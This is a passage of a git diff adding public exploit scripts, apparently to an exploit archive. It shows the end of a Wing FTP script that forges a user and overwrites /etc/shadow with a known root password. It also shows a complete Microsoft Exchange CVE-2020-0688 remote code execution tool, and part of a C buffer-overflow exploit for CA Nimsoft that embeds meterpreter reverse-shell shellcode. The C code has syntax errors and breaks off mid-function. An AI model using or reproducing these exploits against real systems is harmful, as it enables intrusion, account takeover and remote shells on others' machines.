f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768" + response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies) + filecontent = re.findall(r'',response.text,re.DOTALL)[0] + log(f"downloaded file is: {filecontent}") + log("return downloadFile") + return filecontent,editURL + +#Saves a given file to the server (or overwrites one). By default it saves a file with +#644 permission owned by root. +def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem): + log("saveFile") + log(f"Directorymem is {directorymem}") + saveURL = f"{url}/savefile.html" + headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer} + dirstring = prepareStupidDirectoryString(directorymem,"/") + log(f"Stupid Directory string is {dirstring}") + data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent} + requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False) + log("return saveFile") + +#Other methods may be more stable, but this works. +#"You can't argue with a root shell" - FX +#Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite +#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV). +#Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible. + +#This routine overwrites the shadow file +def overwriteShadow(url): + log("overwriteShadow") + headers = {"Content-Type": "application/x-www-form-urlencoded"} + #Grab cookie from server. + cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers) + + #Chdir a few times, starting in the user's home directory until we arrive at the target folder + directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="") + + #Download the target file. + shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem) + + # openssl passwd -1 -salt h00ph00p h00ph00p + rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0" + rootpass = "root:" + rootpass + ":18273:0:99999:7:::" + + #Create new shadow file with different root password & save + newshadow = re.sub("root(.*):::",rootpass,shadowfile) + print("[*] Swapped the password hash...") + saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem) + print("[*] Saved the forged shadow file...") + log("exit overwriteShadow") + +def main(): + log("main") + try: + #Create ssh connection to target with paramiko + client = paramiko.SSHClient() + client.load_system_host_keys() + client.set_missing_host_key_policy(paramiko.WarningPolicy) + try: + client.connect(hostname, port=port, username=username, password=password) + except: + print(f"Failed to connect to {hostname}:{port} as user {username}.") + + #Find wftpserver directory + print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)") + stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'") + wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0] + print(f"[!] Found Wing FTP directory: {wftpDir}") + #Find name of + stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1") + lsresult = stdout.read().decode("utf-8").split('\n') + #Checking if wftpserver is actually configured. If you're using this script, it probably is. + print(f"[*] Determining if the server has been configured.") + domains = [] + for item in lsresult[:-1]: + item = item.rsplit('/',1)[1] + if item !="_ADMINISTRATOR" and item != "": + domains.append(item) + print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}") + domain = domains[0] + #Check if the users folder exists + userpath = wftpDir + "/Data/" + domain + print(f"[*] Checking if users exist.") + stdin, stdout, stderr = client.exec_command(f"file {userpath}/users") + if "No such file or directory" in stdout.read().decode("utf-8"): + print(f"[*] Users directory does not exist. Creating folder /users") + #Create users folder + stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users") + #Create user.xml file + print("[*] Forging evil user (h00p:h00p).") + stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml") + #Now we can log into the FTP web app with h00p:h00p + + url = checkHTTP(hostname) + #Check that url isn't an empty string (and that its a valid URL) + if "http" not in url: + print(f"[!] Exiting... cannot access web interface.") + sys.exit(1) + + #overwrite root password + try: + overwriteShadow(url) + print(f"[!] Overwrote root password to h00ph00p.") + except Exception as e: + print(f"[!] Error: cannot overwrite /etc/shadow: {e}") + + #Check to make sure the exploit worked. + stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root") + out = stdout.read().decode('utf-8') + err = stderr.read().decode('utf-8') + + log(f"STDOUT - {out}") + log(f"STDERR - {err}") + if "root:$1$h00p" in out: + print(f"[*] Success! The root password has been successfully changed.") + print(f"\n\tssh {username}@{hostname} -p{port}") + print(f"\tThen: su root (password is h00ph00p)") + else: + print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.") + + log("exit prepareServer") + finally: + client.close() + +main() \ No newline at end of file diff --git a/exploits/windows/remote/48153.py b/exploits/windows/remote/48153.py new file mode 100755 index 000000000..722bc6097 --- /dev/null +++ b/exploits/windows/remote/48153.py @@ -0,0 +1,154 @@ +# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution +# Date: 2020-02-28 +# Exploit Author: Photubias +# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 +# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys +# Vendor Homepage: https://www.microsoft.com +# Version: MS Exchange Server 2010 SP3 up to 2019 CU4 +# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 +# CVE: CVE-2020-0688 + +#! /usr/bin/env python +# -*- coding: utf-8 -*- +''' + + + Copyright 2020 Photubias(c) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + File name CVE-2020-0688-Photubias.py + written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be + + This is a native implementation without requirements, written in Python 2. + Works equally well on Windows as Linux (as MacOS, probably ;-) + Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net + + Example Output: + CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add" + [+] Login worked + [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 + [+] Detected OWA version number 15.2.221.12 + [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable! + [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: + [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== + Sending now ... +''' +import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass + +## STATIC STRINGS +# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations) +strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') +# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) +strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') + +def convertInt(iInput, length): + return struct.pack(" '06da' (0x06b8 + len(sCommand)) + #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) + strLength1 = convertInt(0x06b8 + len(sCommand),4) + strLength2 = convertInt(0x04da + len(sCommand),4) + strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] + strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] + + ## PART2 of the payload to hash + strPart2 = '274e7bb9' + for v in sSessionId: strPart2 += binascii.hexlify(v)+'00' + strPart2 = binascii.unhexlify(strPart2) + + strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() + strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) + return strResult + +def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): + if not sTarget[-1:] == '/': sTarget += '/' + ## Verify Login + lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} + try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() + except: print('[!] Error, ' + sTarget + ' not reachable') + bLoggedIn = False + for cookie in oCookjar: + if cookie.name == 'cadata': bLoggedIn = True + if not bLoggedIn: + print('[-] Login Wrong, too bad') + exit(1) + print('[+] Login worked') + + ## Verify Session ID + sSessionId = '' + sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() + for cookie in oCookjar: + if 'SessionId' in cookie.name: sSessionId = cookie.value + print('[+] Got ASP.NET Session ID: ' + sSessionId) + + ## Verify OWA Version + sVersion = '' + try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2] + except: sVersion = 'favicon' + if 'favicon' in sVersion: + print('[*] Problem, this user has never logged in before (wizard detected)') + print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') + exit(1) + print('[+] Detected OWA version number '+sVersion) + + ## Verify ViewStateValue + sViewState = '' + try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0] + except: pass + if sViewState == 'B97B4E27': + print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!') + else: + print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) + ans = raw_input('[?] Still want to try the exploit? [y/N]: ') + if ans == '' or ans.lower() == 'n': exit(1) + return sSessionId, sTarget, sViewState + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') + parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') + parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') + parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='') + args = parser.parse_args() + if args.target == '' or args.username == '' or args.command == '': + print('[!] Example usage: ') + print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"') + else: + if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') + else: sPassword = args.password + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + oCookjar = cookielib.CookieJar() + #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) + #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) + oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) + sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) + ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') + if ans.lower() == 'n': exit(0) + sPayLoad = getYsoserialPayload(args.command, sSessionId) + print('[+] Got Payload: ' + sPayLoad) + sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) + print(' Sending now ...') + try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) + except urllib2.HTTPError, e: + if e.code == '500': print('[+] This probably worked (Error Code 500 received)') + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/windows/remote/48156.c b/exploits/windows/remote/48156.c new file mode 100644 index 000000000..80174033f --- /dev/null +++ b/exploits/windows/remote/48156.c @@ -0,0 +1,858 @@ +# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow +# Exploit Author: wetw0rk +# Exploit Version: Public POC +# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en +# Software Version : 7.80 +# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) +# CVE: CVE-2020-8012 + +/************************************************************************************************************************** + * * + * Description: * + * * + * Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * + * The exploit won't crash the service. * + * * + * You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * + * should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * + * universal (worked first try on 2012). * + * * + * Note: * + * * + * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass * + * the stack cookie. WE OUT HERE!!! * + * * + * Compile: * + * * + * gcc poc_release.c -o singAboutMeImDyingOfThirst * + * * + * Shoutout: * + * * + * Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * + * for dropping Ghidra, and my Mentor * + * * + * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * + * 11/07/19 - Vendor contacted (POC code and POC video sent) * + * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * + * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled * + * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (...) * + * 12/03/19 - Vendor confirms exploitability and vulnerability presence * + * 12/13/19 - Vendor finalizing hotfix * + * 12/19/19 - Vendor hotfix tested against POC code * + * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * + * 01/21/20 - Vendor replies (awaiting more info) * + * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * + * 02/XX/20 - PoC sample dropped * + **************************************************************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ +unsigned char shellcode[] = \ +"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" +"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" +"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" +"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" +"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" +"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" +"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" +"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" +"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" +"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" +"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" +"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" +"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" +"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" +"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" +"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" +"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" +"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" +"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" +"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" +"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" +"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" +"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" +"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" +"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" +"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" +"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" +"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" +"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; + +const char *exploited[] = \ +{ + "10.0.18362", + "6.3.9600", +}; + +const char *versions[]= \ +{ + "7.80 [Build 7.80.3132, Jun 1 2015]", +}; + +/******************************************************************************************************************** + * * + * NimsoftProbe: * + * * + * This is the structure used for the packet generator, it will be used specifically as the return type. Within * + * the structure there are 2 members, first the pointer to the packet and secondly the packet length. * + * * + * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): * + * * + * This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * + * few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * + * * + ********************************************************************************************************************/ + +#define PHLEN 300 /* header */ +#define PBLEN 2000 /* body */ +#define PALEN 10000 /* argv */ +#define FPLEN 20000 /* final probe */ + +#define CLIENT "127.0.0.1/1337" + +#define INTSIZ(x) snprintf(NULL, 0, "%i", x) + +unsigned char packet_header[] = \ +"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; +unsigned char packet_body[] = \ + /* nimbus header */ +"\x6d\x74\x79\x70\x65\x0F" /* mtype */ +"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ +"\x63\x6d\x64\x0F" /* cmd */ +"\x37\x0F%d\x0F" /* 7.x */ +"%s\x0F" /* probe */ +"\x73\x65\x71\x0F" /* seq */ +"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ +"\x74\x73\x0F" /* ts */ +"\x31\x0F%d\x0F" /* 1.X */ +"%d\x0F" /* UNIX EPOCH */ +"\x66\x72\x6d\x0F" /* frm */ +"\x37\x0F%d\x0F" /* 7.15 */ +"%s\x0F" /* client addr */ +"\x74\x6f\x75\x74\x0F" /* tout */ +"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ +"\x61\x64\x64\x72\x0F" /* addr */ +"\x37\x0F\x30\x0F"; /* 7.0 */ + +typedef struct { + char *packet; + int length; +} NimsoftProbe; + +NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) +{ + int index = 0; + int fmt_args; + int lbody = 0; + int largs = 0; + char *tptr; + char pheader[PHLEN]; + char pbody[PBLEN]; + char pargs[PALEN]; + char pbuffer[FPLEN]; + char temp_buffer[80]; + char *probe = lparams[0]; + + int epoch_time = (int)time(NULL); + + NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); + + fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", + (strlen(probe)+1), + probe, + (INTSIZ(epoch_time)+1), + epoch_time, + (strlen(CLIENT)+1), + CLIENT + ); + + if ((fmt_args + sizeof(packet_body)) > PBLEN) { + printf("Failed to generate packet body\n"); + exit(-1); + } + + lbody = snprintf(pbody, PBLEN, packet_body, + (strlen(probe)+1), + probe, + (INTSIZ(epoch_time)+1), + epoch_time, + (strlen(CLIENT)+1), + CLIENT + ); + + for (i = 1; i < nparams; i++) + { + memset(temp_buffer, '\0', 80); + + for (j = 0; j < strlen(lparams[i]); j++) + { + if ((c = lparams[i][j]) == '=') + { + memcpy(temp_buffer, lparams[i], j); + index = ++j; + break; + } + } + + tptr = lparams[i]; + + if ((c = 1, c += strlen(temp_buffer)) < PALEN) { + largs += snprintf(pargs+largs, c, "%s", temp_buffer); + largs++; + } else { + printf("Failed to generate packet arguments\n"); + exit(-1); + } + + if (index > 0 && exploit_buffer == 0) + { + tptr = tptr+index; + + if ((largs + strlen(tptr) + 2) < PALEN) + { + largs += snprintf(pargs+largs, 2, "%s", "1"); + largs++; + + largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); + largs++; + } else { + printf("Failed to generate packet arguments\n"); + exit(-1); + } + + c = 1, c += strlen(tptr); + if ((largs + c) < PALEN) + { + largs += snprintf(pargs+largs, c, "%s", tptr); + largs++; + } else { + printf("Failed to generate packet arguments\n"); + exit(-1); + } + } + + if (index > 0 && exploit_buffer > 0) + { + tptr = tptr+index; + + if ((largs + exploit_buffer + 2) < PALEN) + { + largs += snprintf(pargs+largs, 2, "%s", "1"); + largs++; + + largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1); + largs++; + } else { + printf("Failed to generate packet arguments\n"); + exit(-1); + } + + c = 1, c += exploit_buffer; + + if ((largs + c) < PALEN) + { + memcpy(pargs+largs, tptr, c); + largs += exploit_buffer; + largs++; + } else { + printf("Failed to generate packet arguments\n"); + exit(-1); + } + } + } + + index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); + index += lbody; + + if (index < FPLEN) { + strncat(pbuffer, pbody, lbody); + } else { + printf("Failed to concatenate packet body\n"); + exit(-1); + } + + for (i = 0; i < index; i++) + if (pbuffer[i] == '\x0f') + pbuffer[i] = '\x00'; + + if ((index + largs) < FPLEN) { + for (i = 0; i < largs; i++) + pbuffer[index++] = pargs[i]; + } + else { + printf "Failed to concatenate packet arguments\n"); + exit(-1); + } + + probePtr->packet = pbuffer; + probePtr->length = index; + + return probePtr; +} + +/********************************************************************************************************************* + * * + * int parse_directory(char *response, int length): * + * * + * This function will parse the directory contents, specifically looking for the entry keyword; if found, we can * + * proceed with exploitation. * + * * + * int check_vulnerability(char *rhost, int rport): * + * * + * This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * + * sent the returned packet will be parsed by parse_directory. * + * * + *********************************************************************************************************************/ + +#define PE "(\033[1m\033[31m-\033[0m)" +#define PI "(\033[1m\033[94m*\033[0m)" +#define PG "(\033[1m\033[92m+\033[0m)" + +int parse_directory(char *response, int length) +{ + int i; + int backup; + int check = 0; + int index = 0; + + char buf[80]; + struct tm ts; + time_t capture; + + if (strncmp(response, "nimbus/1.0", 10) != 0) + return -1; + + while (index < length) + { + if (strcmp("entry", (response+index)) == 0) + printf("%s Persistence is an art\n\n", PG); + + if (strcmp("name", (response+index)) == 0) { + backup = index; + check = 1; + + /* last modified */ + for (int i = 0; i < 15; i++) + index += strlen(response+index) + 1; + capture = atoi(response+index); + ts = *localtime(&capture); + strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); + printf("%12s ", buf); + index = backup; + + /* type */ + for (int i = 0; i < 7; i++) + index += strlen(response+index) + 1; + if (strcmp("2", (response+index)) == 0) + printf("%7s", " "); + else + printf("%-7s", ""); + index = backup; + /* name */ + for (int i = 0; i < 3; i++) + index += strlen(response+index) + 1; + printf("%s\n", response+index); + } + index += strlen(response+index) + 1; + } + + return (check != 1) ? -1 : 0; +} + +int check_vulnerability(char *rhost, int rport) +{ + int c; + int sock; + int count; + + NimsoftProbe *probe; + char response[BUFSIZ]; + struct sockaddr_in srv; + char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; + + probe = packet_gen(get_directory_listing, 3, 0); + + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + return -1; + + srv.sin_addr.s_addr = inet_addr(rhost); + srv.sin_port = htons(rport); + srv.sin_family = AF_INET; + + if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) + return -1; + printf("%s Verifying vulnerable probe is reachable\n", PI); + + send(sock, probe->packet, probe->length, 0); + count = read(sock, response, BUFSIZ); + + if (parse_directory(response, count) == 0) + printf("\n%s Target ready for exploitation\n", PG); + else + return -1; + + free(probe); + close(sock); + + return 0; +} + +/******************************************************************************************************************** + * * + * char *nimdex(char *haystack, char *needle, int size): * + * * + * This function works similar to strstr, however it was specifically made to index "keys" to their respective * + * "values" within a Nimbus packet. It has only been tested against the get_info packet. * + * * + * int parse_response(char *response, int length): * + * * + * This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * + * has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has * + * a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * + * my ROP chain being universal. * + * * + * int check_version(char *rhost, int rport): * + * * + * This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * + * the returned packet will be parsed by parse_response. * + * * + ********************************************************************************************************************/ + +char *nimdex(char *haystack, char *needle, int size) +{ + int found = 0; + int index = 0; + + if (strncmp(haystack, "nimbus/1.0", 10) != 0) + return NULL; + + while (index < size) + { + if 